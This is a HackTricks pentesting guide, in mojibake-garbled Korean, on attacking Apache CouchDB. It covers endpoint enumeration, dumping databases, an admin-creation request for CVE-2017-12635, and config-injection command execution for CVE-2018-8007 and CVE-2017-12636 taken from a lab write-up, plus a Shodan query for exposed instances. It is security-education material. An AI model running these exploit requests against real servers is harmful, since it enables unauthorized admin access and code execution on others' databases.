5984,6984 - Pentesting CouchDB
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
κΈ°λ³Έ μ 보
CouchDBλ λ¬Έμ μ§ν₯ λ°μ΄ν°λ² μ΄μ€λ‘, κ° λ¬Έμ λ΄μμ ν€-κ° λ§΅ ꡬ쑰λ₯Ό μ¬μ©νμ¬ λ°μ΄ν°λ₯Ό μ‘°μ§νλ λ€μ¬λ€λ₯νκ³ κ°λ ₯ν λ°μ΄ν°λ² μ΄μ€μ λλ€. λ¬Έμ λ΄μ νλλ ν€/κ° μ, 리μ€νΈ λλ λ§΅μΌλ‘ ννλ μ μμ΄ λ°μ΄ν° μ μ₯ λ° κ²μμ μ μ°μ±μ μ 곡ν©λλ€.
CouchDBμ μ μ₯λ λͺ¨λ λ¬Έμλ λ¬Έμ μμ€μμ κ³ μ μλ³μ(_id)κ° ν λΉλ©λλ€. λν, λ°μ΄ν°λ² μ΄μ€μ λν΄ μνλκ³ μ μ₯λ κ° μμ μ¬νμλ μμ λ²νΈ(_rev)κ° ν λΉλ©λλ€. μ΄ μμ λ²νΈλ λ³κ²½ μ¬νμ ν¨μ¨μ μΈ μΆμ λ° κ΄λ¦¬λ₯Ό κ°λ₯νκ² νμ¬ λ°μ΄ν°λ² μ΄μ€ λ΄μμ λ°μ΄ν°μ μ©μ΄ν κ²μ λ° λκΈ°νλ₯Ό μ΄μ§ν©λλ€.
κΈ°λ³Έ ν¬νΈ: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
μλ μ΄κ±°
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
μλ μ΄κ±°
λ°°λ
curl http://IP:5984/
μ΄κ²μ μ€μΉλ CouchDB μΈμ€ν΄μ€μ GET μμ²μ 보λ λλ€. μλ΅μ λ€μ μ€ νλμ λΉμ·ν΄μΌ ν©λλ€:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
Note
couchdbμ 루νΈμ μ κ·Όν λ
401 Unauthorizedμ κ°μ μλ΅μ λ°μΌλ©΄:{"error":"unauthorized","reason":"Authentication required."}λ°°λλ λ€λ₯Έ μλν¬μΈνΈμ μ κ·Όν μ μμ΅λλ€.
Info Enumeration
λ€μμ GET μμ²μΌλ‘ μ κ·Όνμ¬ ν₯λ―Έλ‘μ΄ μ 보λ₯Ό μΆμΆν μ μλ μλν¬μΈνΈμ λλ€. couchdb λ¬Έμμμ λ λ§μ μλν¬μΈνΈμ μμΈν μ€λͺ μ μ°Ύμ μ μμ΅λλ€.
/_active_tasksμ€ν μ€μΈ μμ μ λͺ©λ‘μΌλ‘, μμ μ ν, μ΄λ¦, μν λ° νλ‘μΈμ€ IDλ₯Ό ν¬ν¨ν©λλ€./_all_dbsCouchDB μΈμ€ν΄μ€μ λͺ¨λ λ°μ΄ν°λ² μ΄μ€ λͺ©λ‘μ λ°νν©λλ€./_cluster_setupν΄λ¬μ€ν° μ€μ λ§λ²μ¬μ λ°λΌ λ Έλ λλ ν΄λ¬μ€ν°μ μνλ₯Ό λ°νν©λλ€./_db_updatesCouchDB μΈμ€ν΄μ€μ λͺ¨λ λ°μ΄ν°λ² μ΄μ€ μ΄λ²€νΈ λͺ©λ‘μ λ°νν©λλ€. μ΄ μλν¬μΈνΈλ₯Ό μ¬μ©νλ €λ©΄_global_changesλ°μ΄ν°λ² μ΄μ€κ° μ‘΄μ¬ν΄μΌ ν©λλ€./_membershipν΄λ¬μ€ν°μ μΌλΆμΈ λ Έλλ₯Όcluster_nodesλ‘ νμν©λλ€.all_nodesνλλ μ΄ λ Έλκ° μκ³ μλ λͺ¨λ λ Έλλ₯Ό νμνλ©°, ν΄λ¬μ€ν°μ μΌλΆμΈ λ Έλλ ν¬ν¨λ©λλ€./_scheduler/jobs볡μ μμ λͺ©λ‘μ λλ€. κ° μμ μ€λͺ μλ μμ€ λ° λμ μ 보, 볡μ ID, μ΅κ·Ό μ΄λ²€νΈμ μ΄λ ₯ λ° κΈ°ν λͺ κ°μ§ μ λ³΄κ° ν¬ν¨λ©λλ€./_scheduler/docs볡μ λ¬Έμ μν λͺ©λ‘μ λλ€.completedλ°failedμνμ λͺ¨λ λ¬Έμμ λν μ 보λ₯Ό ν¬ν¨ν©λλ€. κ° λ¬Έμμ λν΄ λ¬Έμ ID, λ°μ΄ν°λ² μ΄μ€, 볡μ ID, μμ€ λ° λμ, κΈ°ν μ 보λ₯Ό λ°νν©λλ€./_scheduler/docs/{replicator_db}/_scheduler/docs/{replicator_db}/{docid}/_node/{node-name}/_node/{node-name}μλν¬μΈνΈλ μμ²μ μ²λ¦¬νλ μλ²μ Erlang λ Έλ μ΄λ¦μ νμΈνλ λ° μ¬μ©ν μ μμ΅λλ€. μ΄ μ 보μ μ κ·Όν λ/_node/_localμ μ¬μ©νλ κ²μ΄ κ°μ₯ μ μ©ν©λλ€./_node/{node-name}/_stats_stats리μμ€λ μ€ν μ€μΈ μλ²μ ν΅κ³λ₯Ό ν¬ν¨νλ JSON κ°μ²΄λ₯Ό λ°νν©λλ€. 리ν°λ΄ λ¬Έμμ΄_localμ λ‘컬 λ Έλ μ΄λ¦μ λ³μΉμΌλ‘ μ¬μ©λλ―λ‘, λͺ¨λ ν΅κ³ URLμμ{node-name}μ_localλ‘ λ체νμ¬ λ‘컬 λ Έλμ ν΅κ³μ μνΈμμ©ν μ μμ΅λλ€./_node/{node-name}/_system_system 리μμ€λ μ€ν μ€μΈ μλ²μ λ€μν μμ€ν μμ€ ν΅κ³λ₯Ό ν¬ν¨νλ JSON κ°μ²΄λ₯Ό λ°νν©λλ€. νμ¬ λ Έλ μ 보λ₯Ό μ»κΈ° μν΄{node-name}μ_localμ μ¬μ©ν μ μμ΅λλ€./_node/{node-name}/_restart/_upμλ²κ° μλ μ€μ΄λ©° μμ²μ μλ΅ν μ€λΉκ° λμμμ νμΈν©λλ€.maintenance_modeκ°trueλλnolbμΈ κ²½μ°, μλν¬μΈνΈλ 404 μλ΅μ λ°νν©λλ€./_uuidsCouchDB μΈμ€ν΄μ€μμ νλ μ΄μμ λ²μ© κ³ μ μλ³μ(UUID)λ₯Ό μμ²ν©λλ€./_reshardν΄λ¬μ€ν°μμ μλ£λ, μ€ν¨ν, μ€ν μ€μΈ, μ€μ§λ μμ μ μμ μ¬λΆν μνλ₯Ό λ°νν©λλ€.
λ ν₯λ―Έλ‘μ΄ μ 보λ μ¬κΈ°μμ μΆμΆν μ μμ΅λλ€: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
ν΄λΉ μμ²μ΄ 401 κΆν μμμΌλ‘ μλ΅νλ©΄, λ°μ΄ν°λ² μ΄μ€μ μ κ·ΌνκΈ° μν΄ μ ν¨ν μ격 μ¦λͺ μ΄ νμν©λλ€:
curl -X GET http://user:password@IP:5984/_all_dbs
μ ν¨ν μ격 μ¦λͺ μ μ°ΎκΈ° μν΄ μλΉμ€λ₯Ό λΈλ£¨νΈν¬μ€ μλν μ μμ΅λλ€ bruteforce the service.
λ€μμ μΆ©λΆν κΆνμ΄ μμ΄ λ°μ΄ν°λ² μ΄μ€λ₯Ό λμ΄ν μ μμ λμ couchdb μλ΅ μμμ λλ€ (λ¨μν λ°μ΄ν°λ² μ΄μ€ λͺ©λ‘μ λλ€):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
λ°μ΄ν°λ² μ΄μ€ μ 보
λ°μ΄ν°λ² μ΄μ€ μ΄λ¦μ μ κ·Όνμ¬ μΌλΆ λ°μ΄ν°λ² μ΄μ€ μ 보λ₯Ό μ»μ μ μμ΅λλ€(νμΌ μ λ° ν¬κΈ° λ±):
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
λ¬Έμ λͺ©λ‘
λ°μ΄ν°λ² μ΄μ€ λ΄μ κ° νλͺ© λμ΄
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
λ¬Έμ μ½κΈ°
λ°μ΄ν°λ² μ΄μ€ λ΄ λ¬Έμμ λ΄μ©μ μ½μ΅λλ€:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB κΆν μμΉ CVE-2017-12635
Erlangκ³Ό JavaScript JSON νμ κ°μ μ°¨μ΄ λλΆμ λ€μ μμ²μΌλ‘ hacktricks:hacktricks μ격 μ¦λͺ
μ κ°μ§ κ΄λ¦¬μ μ¬μ©μλ₯Ό μμ±ν μ μμ΅λλ€:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
μ΄ μ·¨μ½μ μ λν λ λ§μ μ 보λ μ¬κΈ°μμ νμΈνμΈμ.
CouchDB RCE
Erlang μΏ ν€ λ³΄μ κ°μ
μμ μ¬κΈ°μμ.
CouchDB λ¬Έμ, νΉν ν΄λ¬μ€ν° μ€μ μ κ΄ν μΉμ
(λ§ν¬)μμλ ν΄λ¬μ€ν° λͺ¨λμμ CouchDBμ ν¬νΈ μ¬μ©μ λν΄ λ
Όμν©λλ€. λ
립 μ€ν λͺ¨λμ λ§μ°¬κ°μ§λ‘ ν¬νΈ 5984κ° μ¬μ©λλ€κ³ μΈκΈλμ΄ μμ΅λλ€. λν, ν¬νΈ 5986μ λ
Έλ λ‘컬 APIμ μ¬μ©λλ©°, μ€μνκ²λ Erlangμ Erlang ν¬νΈ λ§€νΌ λ°λͺ¬(EPMD)μ μν΄ TCP ν¬νΈ 4369κ° νμνμ¬ Erlang ν΄λ¬μ€ν° λ΄μμ λ
Έλ κ° ν΅μ μ μ©μ΄νκ² ν©λλ€. μ΄ μ€μ μ κ° λ
Έλκ° μλ‘ μ°κ²°λ λ€νΈμν¬λ₯Ό νμ±ν©λλ€.
ν¬νΈ 4369μ λν μ€μν 보μ κΆκ³ κ° κ°μ‘°λ©λλ€. μ΄ ν¬νΈκ° μΈν°λ·μ΄λ μ λ’°ν μ μλ λ€νΈμν¬λ₯Ό ν΅ν΄ μ κ·Ό κ°λ₯νκ² λλ©΄, μμ€ν
μ 보μμ βμΏ ν€βλΌλ κ³ μ μλ³μμ ν¬κ² μμ‘΄νκ² λ©λλ€. μ΄ μΏ ν€λ μμ μ₯μΉ μν μ ν©λλ€. μλ₯Ό λ€μ΄, μ£Όμ΄μ§ νλ‘μΈμ€ λͺ©λ‘μμ βmonsterβλΌλ μ΄λ¦μ μΏ ν€κ° κ΄μ°°λ μ μμΌλ©°, μ΄λ μμ€ν
μ 보μ νλ μμν¬μμμ μ΄μ μν μ λνλ
λλ€.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
μ΄ βμΏ ν€βκ° Erlang μμ€ν μ μ격 μ½λ μ€ν(RCE)μ μν΄ μ΄λ»κ² μ μ©λ μ μλμ§ μ΄ν΄νκ³ μ νλ λΆλ€μ μν΄, μΆκ° μ½κΈ°λ₯Ό μν μ μ© μΉμ μ΄ λ§λ ¨λμ΄ μμ΅λλ€. μ΄ μΉμ μμλ μμ€ν μ λν μ μ΄λ₯Ό λ¬μ±νκΈ° μν΄ Erlang μΏ ν€λ₯Ό 무λ¨μΌλ‘ νμ©νλ λ°©λ²λ‘ μ μμΈν μ€λͺ ν©λλ€. μ¬κΈ°μμ RCEλ₯Ό μν Erlang μΏ ν€ μ μ©μ λν μμΈν κ°μ΄λλ₯Ό νμν μ μμ΅λλ€.
local.ini μμ μΌλ‘ CVE-2018-8007 μ μ©νκΈ°
μμ μ¬κΈ°μ.
μ΅κ·Ό 곡κ°λ μ·¨μ½μ μΈ CVE-2018-8007μ Apache CouchDBμ μν₯μ λ―ΈμΉλ©°, μ
μ©νλ €λ©΄ local.ini νμΌμ λν μ°κΈ° κΆνμ΄ νμνλ€λ κ²μ λ°νμ΅λλ€. 보μ μ νμΌλ‘ μΈν΄ μ΄κΈ° λμ μμ€ν
μ μ§μ μ μ©ν μλ μμ§λ§, νμ λͺ©μ μΌλ‘ local.ini νμΌμ μ°κΈ° μ κ·Ό κΆνμ λΆμ¬νκΈ° μν΄ μμ μ΄ μ΄λ£¨μ΄μ‘μ΅λλ€. μλμλ μ΄ κ³Όμ μ 보μ¬μ£Όλ μμΈν λ¨κ³μ μ½λ μμ κ° μ 곡λ©λλ€.
λ¨Όμ , local.ini νμΌμ΄ μ°κΈ° κ°λ₯νλλ‘ νκ²½μ μ€λΉνλ©°, κΆνμ λμ΄νμ¬ νμΈν©λλ€:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
μ·¨μ½μ μ μ
μ©νκΈ° μν΄, local.iniμ cors/origins ꡬμ±μ λν΄ curl λͺ
λ Ήμ΄ μ€νλ©λλ€. μ΄λ [os_daemons] μΉμ
μλμ μλ‘μ΄ μΆμ²μ μΆκ° λͺ
λ Ήμ μ£Όμ
νμ¬ μμμ μ½λλ₯Ό μ€ννλ κ²μ λͺ©νλ‘ ν©λλ€:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
νμ κ²μ¦μ ν΅ν΄ local.iniμ μ£Όμ
λ ꡬμ±μ νμΈνκ³ , λ³κ²½ μ¬νμ κ°μ‘°νκΈ° μν΄ λ°±μ
κ³Ό λμ‘°ν©λλ€:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
μ΄κΈ°μλ μμλ νμΌ(/tmp/0xdf)μ΄ μ‘΄μ¬νμ§ μμΌλ©°, μ΄λ μ£Όμ
λ λͺ
λ Ήμ΄ μμ§ μ€νλμ§ μμμμ λνλ
λλ€. μΆκ° μ‘°μ¬λ₯Ό ν΅ν΄ CouchDBμ κ΄λ ¨λ νλ‘μΈμ€κ° μ€ν μ€μ΄λ©°, κ·Έ μ€ νλλ μ£Όμ
λ λͺ
λ Ήμ μ€νν μ μλ κ°λ₯μ±μ΄ μμ΅λλ€:
root@canape:/home/homer/bin# ps aux | grep couch
μλ³λ CouchDB νλ‘μΈμ€λ₯Ό μ’ λ£νκ³ μμ€ν μ΄ μλμΌλ‘ μ¬μμνλλ‘ νμ©ν¨μΌλ‘μ¨, μ£Όμ λ λͺ λ Ήμ μ€νμ΄ νΈλ¦¬κ±°λλ©°, μ΄λ μ΄μ μ μλ νμΌμ μ‘΄μ¬λ‘ νμΈλ©λλ€:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
μ΄ νμμ νΉμ 쑰건μμ CVE-2018-8007μ μ
μ© κ°λ₯μ±μ νμΈνλ©°, νΉν local.ini νμΌμ λν μ°κΈ° μ κ·Ό κΆνμ΄ νμν©λλ€. μ 곡λ μ½λ μμ μ μ μ°¨μ λ¨κ³λ ν΅μ λ νκ²½μμ μ
μ©μ 볡μ νκΈ° μν λͺ
νν κ°μ΄λλ₯Ό μ 곡ν©λλ€.
CVE-2018-8007μ λν μμΈν λ΄μ©μ mdsecμ κΆκ³ λ₯Ό μ°Έμ‘°νμμμ€: CVE-2018-8007.
local.iniμ λν μ°κΈ° κΆνμΌλ‘ CVE-2017-12636 νμνκΈ°
μμ μ¬κΈ°μ.
CVE-2017-12636μΌλ‘ μλ €μ§ μ·¨μ½μ μ΄ νμλμμΌλ©°, μ΄λ CouchDB νλ‘μΈμ€λ₯Ό ν΅ν΄ μ½λ μ€νμ κ°λ₯νκ² νμ§λ§, νΉμ ꡬμ±μΌλ‘ μΈν΄ μ μ©μ΄ λ°©μ§λ μ μμ΅λλ€. μ¨λΌμΈμμ μ¬μ©ν μ μλ μλ§μ κ°λ μ¦λͺ (POC) μ°Έμ‘°μλ λΆκ΅¬νκ³ , CouchDB λ²μ 2μμ μ·¨μ½μ μ μ μ©νκΈ° μν΄μλ μ‘°μ μ΄ νμνλ©°, μΌλ°μ μΌλ‘ νμ μ΄ λλ λ²μ 1.xμ λ€λ¦ λλ€. μ΄κΈ° λ¨κ³λ CouchDB λ²μ μ νμΈνκ³ μμ 쿼리 μλ² κ²½λ‘κ° μμμ νμΈνλ κ²μ λλ€:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB λ²μ 2.0μ μμ©νκΈ° μν΄ μλ‘μ΄ κ²½λ‘κ° μ¬μ©λ©λλ€:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
μ 쿼리 μλ²λ₯Ό μΆκ°νκ³ νΈμΆνλ €λ μλλ λ€μ μΆλ ₯μμ λνλ λ°μ κ°μ΄ κΆν κ΄λ ¨ μ€λ₯λ‘ μ΄μ΄μ‘μ΅λλ€:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
μΆκ° μ‘°μ¬λ₯Ό ν΅ν΄ local.ini νμΌμ λν κΆν λ¬Έμ κ° λ°κ²¬λμμΌλ©°, ν΄λΉ νμΌμ μ°κΈ° λΆκ°λ₯νμ΅λλ€. root λλ homer μ κ·Ό κΆνμΌλ‘ νμΌ κΆνμ μμ ν¨μΌλ‘μ¨ μ§νν μ μκ² λμμ΅λλ€:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
νμ 쿼리 μλ² μΆκ° μλκ° μ±κ³΅νμΌλ©°, μ΄λ μλ΅μ μ€λ₯ λ©μμ§κ° μμμ ν΅ν΄ μ
μ¦λμμ΅λλ€. local.ini νμΌμ μ±κ³΅μ μΈ μμ μ νμΌ λΉκ΅λ₯Ό ν΅ν΄ νμΈλμμ΅λλ€:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
νλ‘μΈμ€λ λ°μ΄ν°λ² μ΄μ€μ λ¬Έμλ₯Ό μμ±ν ν, μλ‘ μΆκ°λ 쿼리 μλ²μ λ§€νλ μ¬μ©μ μ μ λ·°λ₯Ό ν΅ν΄ μ½λλ₯Ό μ€ννλ €λ μλλ‘ μ΄μ΄μ‘μ΅λλ€:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A μμ½κ³Ό λ체 νμ΄λ‘λλ νΉμ 쑰건μμ CVE-2017-12636μ μ μ©νλ λ° λν μΆκ° ν΅μ°°λ ₯μ μ 곡ν©λλ€. μ΄ μ·¨μ½μ μ μ μ©νκΈ° μν μ μ©ν 리μμ€λ λ€μκ³Ό κ°μ΅λλ€:
Shodan
port:5984 couchdb
μ°Έμ‘°
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


